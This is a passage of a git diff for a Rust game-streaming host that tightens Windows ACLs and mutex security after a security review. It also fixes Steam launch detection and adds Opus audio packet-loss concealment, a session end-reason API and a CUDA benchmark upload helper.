off Windows: POSIX modes are set at creation by [`write_secret_file`] and a config dir a +/// non-root user pre-created is not a privilege boundary the way `%ProgramData%` is. +#[cfg(not(windows))] +pub fn restrict_existing_secret_file(_path: &std::path::Path) {} + +/// `icacls` by absolute path — a privileged service must never resolve it through `PATH`. +#[cfg(windows)] +fn icacls_path() -> String { + std::env::var("SystemRoot") + .map(|r| format!("{r}\\System32\\icacls.exe")) + .unwrap_or_else(|_| "icacls".to_string()) +} + /// Best-effort Windows DACL lockdown of the config *directory* (the companion to /// [`restrict_to_system_admins`] for files). The default `%ProgramData%` ACL lets `BUILTIN\Users` /// create subfolders/files (and become `CREATOR OWNER`), so a non-admin could pre-create the @@ -86,17 +139,23 @@ pub fn create_private_dir(dir: &std::path::Path) -> std::io::Result<()> { /// are additionally locked to SYSTEM/Admins by [`write_secret_file`]. Hard-coded SIDs /// (locale-independent) via the absolute `%SystemRoot%` path; never fatal. #[cfg(windows)] -fn restrict_dir_to_system_admins(dir: &std::path::Path) { - let icacls = std::env::var("SystemRoot") - .map(|r| format!("{r}\\System32\\icacls.exe")) - .unwrap_or_else(|_| "icacls".to_string()); - // Reset ownership of the directory object to Administrators first, so a dir a non-admin may have - // pre-created can't keep OWNER control (an owner can always rewrite the DACL). No `/T` — re-owning - // the dir itself is what defeats the pre-creation; recursing a large captures tree each call is - // needless churn (secret files are individually owner-locked by `write_secret_file`). - let _ = std::process::Command::new(&icacls) - .arg(dir.as_os_str()) - .args(["/setowner", "*S-1-5-32-544"]) // BUILTIN\Administrators +fn restrict_dir_to_system_admins(dir: &std::path::Path, deep: bool) { + let icacls = icacls_path(); + // Reset ownership to Administrators first, so a dir a non-admin may have pre-created can't keep + // OWNER control (an owner always retains WRITE_DAC and can put its access straight back). + // + // `deep` (once per directory per process — see `first_hardening_of`) also re-owns the CONTENTS. + // Re-owning only the directory left every file the attacker had already created still owned by + // them, and therefore still theirs to rewrite, which is half of why the 2026-08-05 review's H-4 + // was exploitable end to end. A planted tree is planted once, before the host first runs, so one + // deep pass at startup closes it without re-walking recordings and art cache on every write. + let mut own = std::process::Command::new(&icacls); + own.arg(dir.as_os_str()) + .args(["/setowner", "*S-1-5-32-544"]); // BUILTIN\Administrators + if deep { + own.args(["/T", "/C", "/Q"]); // recurse, continue on error, quiet + } + let _ = own .stdout(std::process::Stdio::null()) .stderr(std::process::Stdio::null()) .status(); @@ -108,8 +167,13 @@ fn restrict_dir_to_system_admins(dir: &std::path::Path) { "*S-1-5-18:(OI)(CI)(F)", // NT AUTHORITY\SYSTEM "/grant:r", "*S-1-5-32-544:(OI)(CI)(F)", // BUILTIN\Administrators - "/grant:r", - "*S-1-3-4:(OI)(CI)(F)", // OWNER RIGHTS + // NO inheritable OWNER RIGHTS (`*S-1-3-4`) here, deliberately. It used to be granted + // `(OI)(CI)(F)`, which handed full control of every child object to whoever owned it — + // so a file a local user created before the hardening ran stayed writable by them even + // after the directory was re-owned (2026-08-05 review H-4, second half). SYSTEM and + // Administrators cover every account that legitimately writes here; a non-elevated + // manual run gets read-only config, which is the intended boundary rather than a + // regression — this directory drives command execution as SYSTEM. "/grant:r", "*S-1-5-32-545:(OI)(CI)(RX)", // BUILTIN\Users — read-only (no create/write → no plant) ]) @@ -130,6 +194,19 @@ fn restrict_dir_to_system_admins(dir: &std::path::Path) { /// Windows (the default `%ProgramData%` ACL is Users-readable). Mirrors the mgmt-token hardening; used /// for the host private key and the persisted trust stores so a local unprivileged user can neither /// read the key (impersonation) nor tamper with the paired allow-list (unauthorized pairing). +/// +/// **Windows ordering caveat** (2026-08-05 review L-17): this is create-then-`icacls`, not +/// create-with-DACL — `std::fs::OpenOptions` cannot pass a `SECURITY_ATTRIBUTES`, and this crate is +/// `#![forbid(unsafe_code)]` so it cannot call `CreateFileW` itself. The file therefore exists +/// briefly under its INHERITED ACL, and a failed `icacls` is a warning rather than an error. +/// +/// What makes that acceptable is the DIRECTORY, and only the directory: every caller writes into +/// the config dir, which [`create_private_dir`] now hardens unconditionally and BEFORE the first +/// read of anything in it (review H-4/M-1), granting `BUILTIN\Users` read-only and no create. The +/// inherited ACL a secret is born with is therefore already SYSTEM/Administrators-only, and the +/// `icacls` below is defence in depth rather than the thing standing between a local user and the +/// host key. Keep that ordering — if the directory hardening is ever moved back after a read, this +/// window becomes real again. pub fn write_secret_file(path: &std::path::Path, contents: &[u8]) -> std::io::Result<()> { use std::io::Write; let mut opts = std::fs::OpenOptions::new(); @@ -160,9 +237,7 @@ pub fn write_secret_file(path: &std::path::Path, contents: &[u8]) -> std::io::Re /// `PATH`). Never fatal — on failure the file is simply left at the inherited ACL (today's behaviour). #[cfg(windows)] fn restrict_to_system_admins(path: &std::path::Path) { - let icacls = std::env::var("SystemRoot") - .map(|r| format!("{r}\\System32\\icacls.exe")) - .unwrap_or_else(|_| "icacls".to_string()); + let icacls = icacls_path(); let status = std::process::Command::new(icacls) .arg(path.as_os_str()) .args([ diff --git a/crates/pf-presenter/src/run.rs b/crates/pf-presenter/src/run.rs index 3d9ea74f..434c2dc6 100644 --- a/crates/pf-presenter/src/run.rs +++ b/crates/pf-presenter/src/run.rs @@ -1070,15 +1070,24 @@ fn run_inner(mut opts: SessionOpts, mut mode: ModeCtl) -> Result .as_ref() .is_some_and(|cap| cap.captured() && cap.desktop()); chan.pump(c, &mouse, desktop_active, fit_scale); - // §8 mid-stream render flip: tell the host who renders the pointer whenever - // the local model changes. Desktop-active = we draw it (host excludes + - // forwards); anything else — the capture model OR a released pointer — the - // host composites it into the video (full fidelity, the pre-channel look). + // §8 mid-stream render flip: tell the host who renders the pointer whenever the + // local model changes. The host may composite one ONLY while we hold a grabbed, + // hidden pointer — the capture model, engaged — because that is the one state + // with no local cursor on screen. Note this is deliberately NOT `desktop_active`: + // a RELEASED pointer leaves the ordinary window cursor visible over the video, + // and a host-composited pointer then sits UNDER it as a second cursor that never + // moves (released forwards no motion), which reads on glass as a frozen + // duplicate. Released therefore counts as "we draw it" — the host stops + // compositing and keeps forwarding shape/state, so re-engaging is seamless. // One edge-detected reconciler covers the chord, the M3 auto-flip, and // engage/release alike. - if chan.negotiated() && st.sent_client_draws != Some(desktop_active) { - st.sent_client_draws = Some(desktop_active); - let _ = c.set_cursor_render(desktop_active); + let client_draws = match st.capture.as_ref() { + Some(cap) => !cap.captured() || cap.desktop(), + None => true, + }; + if chan.negotiated() && st.sent_client_draws != Some(client_draws) { + st.sent_client_draws = Some(client_draws); + let _ = c.set_cursor_render(client_draws); } } // M3 — host-driven mode flip: `relative_hint` set = a host app grabbed/hid the diff --git a/crates/pf-vdisplay/Cargo.toml b/crates/pf-vdisplay/Cargo.toml index 64eedf6d..4bb903b7 100644 --- a/crates/pf-vdisplay/Cargo.toml +++ b/crates/pf-vdisplay/Cargo.toml @@ -66,6 +66,11 @@ pf-driver-proto = { path = "../pf-driver-proto" } bytemuck = { version = "1.19", features = ["derive"] } windows = { version = "0.62", features = [ "Win32_Foundation", + # The single-instance mutex is created with an explicit SDDL DACL and its owner is checked, so + # a lower-privileged process (the LocalService plugin runner) can neither open it nor squat the + # name unnoticed — see manager/instance.rs (security-review 2026-08-05 L-16). + "Win32_Security", + "Win32_Security_Authorization", "Win32_Devices_DeviceAndDriverInstallation", "Win32_Devices_Display", "Win32_Graphics_Gdi", diff --git a/crates/pf-vdisplay/src/vdisplay/linux/gamescope.rs b/crates/pf-vdisplay/src/vdisplay/linux/gamescope.rs index 8c9a29f6..d7cf75b5 100644 --- a/crates/pf-vdisplay/src/vdisplay/linux/gamescope.rs +++ b/crates/pf-vdisplay/src/vdisplay/linux/gamescope.rs @@ -2465,11 +2465,18 @@ pub fn ei_socket_file() -> std::path::PathBuf { crate::with_env_lock(pf_paths::gamescope_ei_socket_file) } -/// Does this resolved launch command start Steam (`steam … steam://…`)? Such a launch needs Steam's -/// single instance free before a dedicated spawn (B1). Pure + unit-tested. +/// Does this resolved launch command start the Steam **client**? Such a launch needs Steam's single +/// instance free before a dedicated spawn (B1), and wants gamescope's `--steam` integration on. +/// Pure + unit-tested. +/// +/// The test is the first token, NOT the presence of a `steam://` URI. A `steam_ui` launcher entry +/// (design D4) resolves to a bare `steam -gamepadui` / `steam` with no URI at all, and it is *more* +/// exposed to the single-instance problem than a game launch is, not less: on a box that autologged +/// into game mode, the nested second Steam would see the first and exit, taking the spawn down with +/// it. A URI-gated check would silently skip both the instance free and `--steam` for exactly the +/// launch that most needs them. fn is_steam_launch(cmd: &str) -> bool { - let mut it = cmd.split_whitespace(); - it.next() == Some("steam") && cmd.contains("steam://") + cmd.split_whitespace().next() == Some("steam") } /// Shape a resolved launch command for a bare-spawn gamescope session. A Steam URI launch @@ -2865,7 +2872,13 @@ mod tests { assert!(is_steam_launch("steam -silent steam://rungameid/570")); assert!(!is_steam_launch("vkcube")); assert!(!is_steam_launch("lutris lutris:rungameid/42")); - assert!(!is_steam_launch("steam -bigpicture")); // no URI = not a game launch + // A `steam_ui` LAUNCHER entry (design D4) carries no URI, and must still count: it needs the + // single instance freed (B1) and gamescope's `--steam` mode on. Gating on `steam://` would + // have skipped both for the one launch that is Big Picture itself. + assert!(is_steam_launch("steam -gamepadui")); + assert!(is_steam_launch("steam")); + // A command that merely mentions steam elsewhere is not a Steam client launch. + assert!(!is_steam_launch("mygame --steam-overlay")); } #[test] @@ -2891,6 +2904,13 @@ mod tests { shape_dedicated_command("steam -bigpicture"), "steam -bigpicture" ); + // The `steam_ui` launcher entries (design D4) pass through untouched — the shaping only ever + // fires on a `steam://` game launch, so there is no way to end up with `-gamepadui` twice. + assert_eq!( + shape_dedicated_command("steam -gamepadui"), + "steam -gamepadui" + ); + assert_eq!(shape_dedicated_command("steam"), "steam"); } #[test] diff --git a/crates/pf-vdisplay/src/vdisplay/windows/manager/instance.rs b/crates/pf-vdisplay/src/vdisplay/windows/manager/instance.rs index 5c85846e..b41bc49e 100644 --- a/crates/pf-vdisplay/src/vdisplay/windows/manager/instance.rs +++ b/crates/pf-vdisplay/src/vdisplay/windows/manager/instance.rs @@ -3,6 +3,7 @@ //! `IOCTL_CLEAR_ALL` and razing the live host's monitors mid-stream. use super::*; +use windows::Win32::Security::{PSECURITY_DESCRIPTOR, SECURITY_ATTRIBUTES}; /// The held single-instance mutex (`None` until claimed). Process-global — not per-manager — so the /// serve path can claim it EAGERLY at startup, before any session opens the backend: the claim is @@ -40,16 +41,40 @@ fn acquire_single_instance() -> Result { machine — refusing to touch the driver (a second manager's startup CLEAR_ALL would raze \ the live host's monitors mid-stream). Stop the other instance (e.g. `punktfunk-host \ service stop`) first."; - // SAFETY: plain FFI create of a named mutex; the returned handle (checked) is solely owned by - // the `OwnedHandle`, and `GetLastError` is read immediately after the create — the documented - // ERROR_ALREADY_EXISTS protocol for pre-existing named objects. + // A name in `Global\` is creatable by ANY principal holding SeCreateGlobalPrivilege — which + // includes the LocalService account the plugin runner is forced to (plugins.rs). With `None` + // security attributes this object took the DACL from the creating token's default, and a + // squatter who got there first (creating the name with a DACL that denies SYSTEM) permanently + // and silently disabled every virtual-display session: the host lands in the ACCESS_DENIED arm + // below and reports a perfectly reasonable "another instance is managing the driver", which + // sends the operator hunting a process that does not exist (2026-08-05 review L-16). + // + // Two changes: create with an EXPLICIT DACL so lesser principals cannot open ours, and check + // the OWNER of a name that already exists so a squat is reported as a squat. + let sd = security_descriptor()?; + let sa = SECURITY_ATTRIBUTES { + nLength: std::mem::size_of::() as u32, + lpSecurityDescriptor: sd.0, + bInheritHandle: false.into(), + }; + // SAFETY: plain FFI create of a named mutex; `sa` (and the descriptor it points at) outlives + // the call, the returned handle (checked) is solely owned by the `OwnedHandle`, and + // `GetLastError` is read immediately after the create — the documented ERROR_ALREADY_EXISTS + // protocol for pre-existing named objects. unsafe { - let h = match CreateMutexW(None, false, w!("Global\\punktfunk-vdisplay-manager")) { + let h = match CreateMutexW(Some(&sa), false, w!("Global\\punktfunk-vdisplay-manager")) { Ok(h) => h, // The name exists but its creator's DACL denies this token the implicit OPEN (the SCM // service creates it as SYSTEM; a second elevated-admin host lands here instead of in - // the ALREADY_EXISTS branch — validated on-glass). Same meaning: an instance is live. - Err(e) if e.code().0 == 0x8007_0005u32 as i32 => anyhow::bail!("{IN_USE}"), + // the ALREADY_EXISTS branch — validated on-glass). Legitimately that means an instance + // is live; it is ALSO exactly what a squat looks like, so say both. + Err(e) if e.code().0 == 0x8007_0005u32 as i32 => anyhow::bail!( + "{IN_USE}\n\nIf no other punktfunk-host is running, the name \ + `Global\\punktfunk-vdisplay-manager` has been SQUATTED by another process — any \ + account with SeCreateGlobalPrivilege can create it first and deny us access, \ + which disables virtual-display streaming until that process exits. Find the \ + holder with Sysinternals `handle.exe -a punktfunk-vdisplay-manager`." + ), Err(e) => { return Err(e).context("CreateMutexW(punktfunk-vdisplay single-instance guard)"); } @@ -57,8 +82,114 @@ fn acquire_single_instance() -> Result { let already = GetLastError() == ERROR_ALREADY_EXISTS; let owned = OwnedHandle::from_raw_handle(h.0 as _); if already { + // We opened an existing object — so its DACL let us in, but that says nothing about + // who created it. If the owner is not SYSTEM/Administrators it is not one of ours. + if let Some(owner) = object_owner_sid(h) { + if !is_privileged_sid(&owner) { + anyhow::bail!( + "the pf-vdisplay single-instance name is held by a NON-ADMINISTRATIVE \ + process (owner SID {owner}) — this is not another punktfunk-host, it is a \ + squat on `Global\\punktfunk-vdisplay-manager`, and it blocks all \ + virtual-display streaming while it is held." + ); + } + } anyhow::bail!("{IN_USE}"); } Ok(owned) } } + +/// `D:P(A;;GA;;;SY)(A;;GA;;;BA)` — a protected DACL (no inheritance) granting Full to SYSTEM and +/// BUILTIN\Administrators, and to nobody else. Everything that legitimately manages pf-vdisplay is +/// one of those two; a LocalService plugin runner is neither, so it can no longer open our object. +fn security_descriptor() -> Result { + use windows::Win32::Security::Authorization::ConvertStringSecurityDescriptorToSecurityDescriptorW; + use windows::Win32::Security::Authorization::SDDL_REVISION_1; + let mut psd = PSECURITY_DESCRIPTOR::default(); + // SAFETY: the SDDL literal is NUL-terminated (`w!`), and `psd` is a live out-param whose + // allocation is taken over by `LocalSd` below. + unsafe { + ConvertStringSecurityDescriptorToSecurityDescriptorW( + w!("D:P(A;;GA;;;SY)(A;;GA;;;BA)"), + SDDL_REVISION_1, + &mut psd, + None, + ) + } + .context("build the pf-vdisplay single-instance security descriptor")?; + Ok(LocalSd(psd.0)) +} + +/// Owns a `LocalAlloc`'d security descriptor and frees it on drop. +struct LocalSd(*mut core::ffi::c_void); + +impl Drop for LocalSd { + fn drop(&mut self) { + if !self.0.is_null() { + // SAFETY: the pointer came from ConvertStringSecurityDescriptorToSecurityDescriptorW, + // which documents LocalFree as the matching deallocation. + unsafe { + let _ = windows::Win32::Foundation::LocalFree(Some( + windows::Win32::Foundation::HLOCAL(self.0), + )); + } + self.0 = std::ptr::null_mut(); + } + } +} + +/// The owner SID of a kernel object, as an SDDL string. `None` when it cannot be read (the handle +/// lacks READ_CONTROL) — treated as "unknown", never as "fine". +fn object_owner_sid(h: HANDLE) -> Option { + use windows::Win32::Foundation::{LocalFree, HLOCAL}; + use windows::Win32::Security::Authorization::{ + ConvertSidToStringSidW, GetSecurityInfo, SE_KERNEL_OBJECT, + }; + use windows::Win32::Security::{OWNER_SECURITY_INFORMATION, PSID}; + + let mut owner = PSID::default(); + let mut sd = PSECURITY_DESCRIPTOR::default(); + // SAFETY: `h` is the live mutex handle; the out-params are live locals; `sd` is the single + // allocation and is LocalFree'd below. + let rc = unsafe { + GetSecurityInfo( + h, + SE_KERNEL_OBJECT, + OWNER_SECURITY_INFORMATION, + Some(&mut owner), + None, + None, + None, + Some(&mut sd), + ) + }; + let out = if rc.is_ok() && !owner.is_invalid() { + let mut sid_str = windows::core::PWSTR::null(); + // SAFETY: `owner` points into `sd` and is a valid SID; `sid_str` is a live out-param whose + // LocalAlloc'd string is freed immediately below. + unsafe { + if ConvertSidToStringSidW(owner, &mut sid_str).is_ok() && !sid_str.is_null() { + let text = sid_str.to_string().unwrap_or_default(); + let _ = LocalFree(Some(HLOCAL(sid_str.0 as _))); + Some(text) + } else { + None + } + } + } else { + None + }; + // SAFETY: `sd` is the LocalAlloc'd descriptor GetSecurityInfo returned (null when it failed, + // which LocalFree tolerates). + unsafe { + let _ = LocalFree(Some(HLOCAL(sd.0))); + } + out +} + +/// SYSTEM, BUILTIN\Administrators, or a member of the Administrators-owned set — the principals a +/// legitimate pf-vdisplay manager runs as. +fn is_privileged_sid(sid: &str) -> bool { + matches!(sid, "S-1-5-18" | "S-1-5-32-544") || sid.starts_with("S-1-5-80-") // service SIDs +} diff --git a/crates/pf-zerocopy/src/imp/cuda.rs b/crates/pf-zerocopy/src/imp/cuda.rs index 5d5a0a47..bfb09f48 100644 --- a/crates/pf-zerocopy/src/imp/cuda.rs +++ b/crates/pf-zerocopy/src/imp/cuda.rs @@ -62,6 +62,47 @@ pub fn read_plane_to_host( Ok(host) } +/// Upload a tightly-packed host plane into a pitched device plane `(dst_ptr, dst_pitch)`. +/// Synchronous on the priority stream. The exact mirror of [`read_plane_to_host`]. +/// +/// Not a hot path and never used by a session — this exists so ENCODE BENCHMARKS can put real, +/// high-entropy content in front of the encoder. Every synthetic frame this crate could otherwise +/// produce is uninitialised device memory, which the driver hands back **zeroed**; under CBR the +/// rate controller then runs out of things to code and every measurement collapses into the +/// low-bits/frame corner (~300 B/AU against an 833 KB quota, measured). That made the entire +/// split-encode programme blind to the bits/frame regime, which is the regime the field report +/// came from. +pub fn write_plane_from_host( + dst_ptr: CUdeviceptr, + dst_pitch: usize, + src: &[u8], + width_bytes: usize, + height: usize, +) -> Result<()> { + anyhow::ensure!( + src.len() >= width_bytes * height, + "write_plane_from_host: source is {} bytes, need {}", + src.len(), + width_bytes * height + ); + let copy = CUDA_MEMCPY2D { + srcMemoryType: 1, // CU_MEMORYTYPE_HOST + srcHost: src.as_ptr() as *const c_void, + srcPitch: width_bytes, + dstMemoryType: CU_MEMORYTYPE_DEVICE, + dstDevice: dst_ptr, + dstPitch: dst_pitch, + WidthInBytes: width_bytes, + Height: height, + ..Default::default() + }; + // SAFETY: mirrors `read_plane_to_host`. `©` is a live local `#[repr(C)] CUDA_MEMCPY2D` + // outliving the synchronous call; `srcHost` addresses `src`, checked above to hold at least + // `width_bytes*height` bytes, and `dstDevice`/`dstPitch` are the caller's live pitched device + // plane. The copy is synchronous, so `src` need not outlive the call. + unsafe { copy_blocking(©, "cuMemcpy2DAsync_v2(host->dev)") } +} + /// Export a device allocation (from `cuMemAllocPitch`/`cuMemAlloc`) as a cross-process CUDA IPC /// handle — an opaque 64-byte blob another process opens with [`ipc_open`]. The allocation must /// stay alive for as long as any importer has it open. The shared context must be current. diff --git a/crates/punktfunk-core/cbindgen.toml b/crates/punktfunk-core/cbindgen.toml index 25742f4d..428cd854 100644 --- a/crates/punktfunk-core/cbindgen.toml +++ b/crates/punktfunk-core/cbindgen.toml @@ -18,6 +18,11 @@ parse_deps = false # undefined and the C harness fails to compile: the Apple batched recv (transport/udp.rs # `recvmsg_x` + `MsghdrX`) and the Android bionic mmsg bindings (`android_mmsg` module). exclude = ["MsghdrX", "recvmsg_x", "mmsghdr", "sendmmsg", "recvmmsg"] +# Reached by no exported SIGNATURE, so cbindgen's sweep misses it — but a C embedder needs the +# vocabulary: `punktfunk_connection_end_reason` writes one of these as a bare byte (deliberately, +# so the JNI/Swift sides can marshal a `u8` rather than an enum), which without this would leave +# the header documenting names it never defines. +include = ["PunktfunkEndReason"] [export.rename] "InputEvent" = "PunktfunkInputEvent" diff --git a/crates/punktfunk-core/src/abi.rs b/crates/punktfunk-core/src/abi.rs index bc1a9772..82a6b008 100644 --- a/crates/punktfunk-core/src/abi.rs +++ b/crates/punktfunk-core/src/abi.rs @@ -654,10 +654,88 @@ pub struct PunktfunkConnection { #[derive(Default)] struct AudioPcmState { decoder: Option, - /// Interleaved f32 PCM, wire channel order. Pre-sized to the largest legal Opus frame - /// (120 ms @ 48 kHz = 5760 samples/ch) × 8 channels so decode never reallocates (which would + /// Interleaved f32 PCM, wire channel order. Pre-sized in `decode_packet` for the largest + /// legal Opus frame plus a full concealment run, so decode never reallocates (which would /// dangle the pointer handed to the embedder). pcm: Vec, + /// Loss detector — the same seq-gap accounting the other clients run in their own decode + /// loops (`pf-client-core`'s session pump, Android's native pump), here for the one decoder + /// that lives in core. Without it a lost 5 ms packet reaches the embedder's playout ring as + /// a hard time-domain gap: a click per loss, sustained crackle on lossy Wi-Fi. + gaps: crate::audio::AudioGapTracker, + /// Per-channel sample count of the last real decode — sizes each synthesized concealment + /// frame. 0 until the first decode, which skips concealment (nothing to size it from), + /// exactly like the other clients. + frame_samples: usize, +} + +#[cfg(feature = "quic")] +impl AudioPcmState { + /// Decode one arriving audio packet into `self.pcm`, synthesizing libopus packet-loss + /// concealment for any packets the sequence says went missing immediately before it — the + /// concealed frames land first, the real frame after, one contiguous interleaved buffer. + /// + /// Returns the interleaved sample count now valid at the front of `pcm`; `Ok(0)` means + /// nothing to hand out this call (a DTX silence marker with no loss before it). An empty + /// `data` is the DTX marker: it still advances the loss accounting (so the silent slot is + /// never itself "concealed" later) and flushes any concealment owed, but is never decoded — + /// `decode_float` would treat it as a loss and synthesize the buffer's full capacity. + fn decode_packet( + &mut self, + data: &[u8], + seq: u32, + channels: u8, + ) -> Result { + let ch = channels as usize; + if self.decoder.is_none() { + let layout = crate::audio::layout_for(channels, false); + match opus::MSDecoder::new(48_000, layout.streams, layout.coupled, layout.mapping) { + Ok(d) => { + // Largest legal Opus frame is 120 ms = 5760 samples/ch, and a gap can owe up + // to MAX_CONCEAL_PACKETS concealed frames of the same size in front of it. + self.pcm = + vec![0f32; (1 + crate::audio::MAX_CONCEAL_PACKETS as usize) * 5760 * ch]; + self.decoder = Some(d); + } + Err(_) => return Err(PunktfunkStatus::Unsupported), + } + } + let dec = self.decoder.as_mut().unwrap(); + + // Conceal lost packets (a seq gap) before decoding the one that arrived: empty input + // synthesizes `frame_samples` of interpolation per missing packet — an inaudible fade + // instead of the click a hard gap makes in the ring. Mirrors the Linux/Windows session + // pump and the Android native pump; capped by the tracker at 50 ms. + let missing = self.gaps.missing_before(seq); + let mut filled = 0usize; + if self.frame_samples > 0 { + for _ in 0..missing { + let plc = self.frame_samples * ch; + match dec.decode_float(&[], &mut self.pcm[filled..filled + plc], false) { + Ok(samples) => filled += samples * ch, + Err(_) => break, + } + } + } + + if data.is_empty() { + // DTX silence marker (a legal wire form) — never decoded (see above); the sink + // underruns to silence on its own. Concealment owed for losses before it still + // goes out. + return Ok(filled); + } + match dec.decode_float(data, &mut self.pcm[filled..], false) { + Ok(samples) => { + self.frame_samples = samples; + Ok(filled + samples * ch) + } + // An undecodable packet: hand out whatever concealment the gap before it earned + // rather than dropping it with the packet. Its own 5 ms slot plays as a ring gap, + // as on every other client (the tracker has already anchored at this seq). + Err(_) if filled > 0 => Ok(filled), + Err(_) => Err(PunktfunkStatus::BadPacket), + } + } } /// `PunktfunkHidOutput::kind` — lightbar RGB (`r`/`g`/`b` valid). @@ -2273,6 +2351,45 @@ pub unsafe extern "C" fn punktfunk_connection_audio_channels( }) } +/// WHY this session ended: `*out` receives a [`PunktfunkEndReason`] byte +/// (`PUNKTFUNK_END_REASON_*`). The return status reports only whether the handle was usable. +/// +/// Read it once a plane has returned [`PunktfunkStatus::Closed`] (or the embedder's own +/// end-of-session signal fired); before that it reads `NONE`. It latches, so it is still readable +/// while the connection is torn down, and a client that never calls it behaves exactly as it did +/// before this existed. +/// +/// **Most endings are not failures.** Before this, a client had no way to tell a player quitting +/// their game from a host falling off the network, so every client wrote one message for all of +/// them and every client chose an error. Use `LOCAL`/`GAME_EXITED`/`HOST_ENDED` to stay quiet (and +/// `GAME_EXITED` to return to the library the title was launched from), and keep the alarming copy +/// for `HOST_ERROR` and `LOST`. +/// +/// Treat an unrecognized value as `NONE` — this crosses an ABI and the core may be newer than you. +/// +/// # Safety +/// `c` is a valid connection handle; `out` is NULL or writable for one `u8`. +#[cfg(feature = "quic")] +#[no_mangle] +pub unsafe extern "C" fn punktfunk_connection_end_reason( + c: *mut PunktfunkConnection, + out: *mut u8, +) -> PunktfunkStatus { + guard(|| { + // SAFETY: per the ABI contract - an opaque handle from a `*_new`/`*_pair` that the caller + // has not yet freed, or null, which `as_ref` reports as `None` and the `match` handles. + let c = match unsafe { c.as_ref() } { + Some(c) => c, + None => return PunktfunkStatus::NullPointer, + }; + if !out.is_null() { + // SAFETY: `out` is non-null and the caller guarantees it is writable for one `u8`. + unsafe { *out = c.inner.end_reason() as u8 }; + } + PunktfunkStatus::Ok + }) +} + /// One decoded audio frame from [`punktfunk_connection_next_audio_pcm`]: interleaved 32-bit /// float PCM at 48 kHz, in the canonical wire channel order `FL FR FC LFE RL RR SL SR` (the /// first `channels` of it). `samples` points at `frame_count * channels` floats and borrows @@ -2301,6 +2418,13 @@ pub struct PunktfunkAudioPcm { /// [`punktfunk_connection_next_audio`] on a given connection, from one dedicated audio thread — /// not both (they share the underlying queue). /// +/// **Loss concealment**: packets the wire lost (a gap in the sequence, after the redundant-plane +/// recovery has had its chance) are synthesized via libopus packet-loss concealment and returned +/// IN FRONT of the arriving frame in the same buffer — `out->frame_count` then covers the +/// concealed frames plus the real one (`out->seq`/`out->pts_ns` are the real packet's). The +/// embedder just writes the whole buffer to its ring, same as any other frame; gaps arrive +/// pre-healed, exactly as they do on the clients that decode outside core. +/// /// # Safety /// `c` is a valid connection handle; `out` is writable. At most one thread pulls audio. #[cfg(feature = "quic")] @@ -2330,36 +2454,16 @@ pub unsafe extern "C" fn punktfunk_connection_next_audio_pcm( Err(e) => return e.status(), }; let mut state = c.audio_pcm.lock().unwrap(); - if state.decoder.is_none() { - let layout = crate::audio::layout_for(channels, false); - match opus::MSDecoder::new(48_000, layout.streams, layout.coupled, layout.mapping) { - Ok(d) => { - // Largest legal Opus frame is 120 ms = 5760 samples/ch. - state.pcm = vec![0f32; 5760 * channels as usize]; - state.decoder = Some(d); - } - Err(_) => return PunktfunkStatus::Unsupported, - } - } - let AudioPcmState { decoder, pcm } = &mut *state; - let dec = decoder.as_mut().unwrap(); - // A header-only datagram (DTX silence — a legal wire form) must be SKIPPED, not - // decoded: `decode_float` treats an empty payload as a loss and synthesizes a full - // 120 ms of concealment for a ~5 ms slot, growing the playout ring without bound. - // Mirrors the host mic pump's guard; the sink underruns to silence on its own. - if pkt.data.is_empty() { - return PunktfunkStatus::NoFrame; - } - // `decode_float` divides the output buffer length by the channel count to get the - // per-channel capacity; an empty payload requests packet-loss concealment. - match dec.decode_float(&pkt.data, pcm, false) { - Ok(frame_count) => { + match state.decode_packet(&pkt.data, pkt.seq, channels) { + // Nothing to hand out this call: a DTX silence marker with no loss owed before it. + Ok(0) => PunktfunkStatus::NoFrame, + Ok(samples) => { // SAFETY: per the ABI contract - `out` is a caller-owned writable slot of the // matching `#[repr(C)]` type, written once by value. unsafe { *out = PunktfunkAudioPcm { - samples: pcm.as_ptr(), - frame_count: frame_count as u32, + samples: state.pcm.as_ptr(), + frame_count: (samples / channels.max(1) as usize) as u32, channels, seq: pkt.seq, pts_ns: pkt.pts_ns, @@ -2367,7 +2471,7 @@ pub unsafe extern "C" fn punktfunk_connection_next_audio_pcm( } PunktfunkStatus::Ok } - Err(_) => PunktfunkStatus::BadPacket, + Err(status) => status, } }) } @@ -4617,4 +4721,53 @@ mod tests { .is_none() ); } + + /// The in-core PCM decoder heals seq gaps with concealment, exactly like the decode loops + /// the other clients run themselves: a lost packet's worth of PLC lands in front of the + /// arriving frame, DTX markers advance the accounting without being decoded, and a gap is + /// capped at the tracker's 50 ms. + #[test] + fn audio_pcm_decode_conceals_seq_gaps() { + const FRAME: usize = 240; // 5 ms @ 48 kHz, per channel + let l = crate::audio::LAYOUT_STEREO; + let mut enc = opus::MSEncoder::new( + 48_000, + l.streams, + l.coupled, + l.mapping, + opus::Application::LowDelay, + ) + .expect("MSEncoder"); + enc.set_vbr(false).unwrap(); + let mut packet = |tone: f32| { + let mut frame = vec![0f32; FRAME * 2]; + for (i, s) in frame.iter_mut().enumerate() { + *s = 0.25 * (i as f32 * tone).sin(); + } + let mut out = vec![0u8; 1500]; + let n = enc.encode_float(&frame, &mut out).unwrap(); + out.truncate(n); + out + }; + + let mut state = AudioPcmState::default(); + // In-order packets decode to exactly one frame each. + assert_eq!(state.decode_packet(&packet(0.05), 0, 2), Ok(FRAME * 2)); + assert_eq!(state.decode_packet(&packet(0.05), 1, 2), Ok(FRAME * 2)); + // Seq 2 lost: one concealed frame precedes the real one, contiguously. + assert_eq!(state.decode_packet(&packet(0.06), 3, 2), Ok(2 * FRAME * 2)); + // A duplicate conceals nothing. + assert_eq!(state.decode_packet(&packet(0.06), 3, 2), Ok(FRAME * 2)); + // DTX marker, nothing lost before it: nothing to emit (the ABI maps 0 to NoFrame)... + assert_eq!(state.decode_packet(&[], 4, 2), Ok(0)); + // ...but a DTX marker AFTER a loss still flushes the concealment owed (seq 5 lost). + assert_eq!(state.decode_packet(&[], 6, 2), Ok(FRAME * 2)); + // And the DTX slot itself was accounted, not treated as a loss. + assert_eq!(state.decode_packet(&packet(0.07), 7, 2), Ok(FRAME * 2)); + // A huge gap is capped at MAX_CONCEAL_PACKETS of concealment. + assert_eq!( + state.decode_packet(&packet(0.07), 1000, 2), + Ok((crate::audio::MAX_CONCEAL_PACKETS as usize + 1) * FRAME * 2) + ); + } } diff --git a/crates/punktfunk-core/src/audio.rs b/crates/punktfunk-core/src/audio.rs index 4ebaba8a..b38bdbb1 100644 --- a/crates/punktfunk-core/src/audio.rs +++ b/crates/punktfunk-core/src/audio.rs @@ -301,8 +301,9 @@ pub struct 